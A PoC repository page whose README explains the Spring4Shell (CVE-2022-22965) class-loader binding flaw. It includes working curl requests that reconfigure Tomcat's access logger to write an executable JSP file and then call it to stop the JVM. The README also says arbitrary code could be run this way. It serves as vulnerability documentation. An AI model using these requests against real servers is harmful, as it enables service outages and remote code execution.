来源

关联漏洞

介绍

# Minimal CVE-2022-22965 example

At the time of writing, spring-web request params binding (`WebDataBinder`), by default allows accessing object's `getClass()` method.
This is an internal jvm specific implementation detail (_imho shouldn't be exposed_).
As such, its features may change and be expanded with future versions of the jvm.
That makes it an ongoing burden for the maintainers, trying to predict creative ways in which malicious actors
may leverage that powerful access in nefarious ways.

In this particular CVE, the reason was a `Class::getModule()` method introduced in java 9. It opened up unguarded
access to a class-loader.

In the example below attacker uses it to reconfigure tomcat's access logger. It normally writes short information about 
each request received by the server to a log file. Property `pattern` defines what information is written,
`directory` where the log file should be placed, `prefix`, `fileDateFormat` and `suffix` what should be the file name.

The following request will target a `POST` endpoint of our vulnerable `poc-0` application. It reconfigures the logger to write
a `<%{e}iSystem.exit(0);%{e}i>` line for every request handled, to a `f.jsp` file in a `webapps/ROOT` directory,
where `%{e}i` is a placeholder for a value of request's header `e`.

This is an unexpected/creative use of the logger and the rest is a standard JSP and Tomcat application server in action.

```
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
```

After a moment, a `f.jsp` file will be created, picked up by tomcat, compiled and exposed to serve the traffic.
The following request invokes it, which will execute an embedded `System.exit(0);` code and stop the jvm it's running on.
```
curl -v http://container-ip:8080/f.jsp
```

This is an example of a DoS, but the `System.exit(0);` is a normal java code, so attacker can do much more.

文件快照

 [4.0K]  /data/pocs/b1f552af1fdabbc036e349d5731f50c61b618a79
├── [ 105]  Dockerfile
├── [ 451]  pom.xml
├── [2.3K]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        └── [4.0K]  java
            └── [4.0K]  pkg
                └── [ 651]  App.java

4 directories, 4 files

备注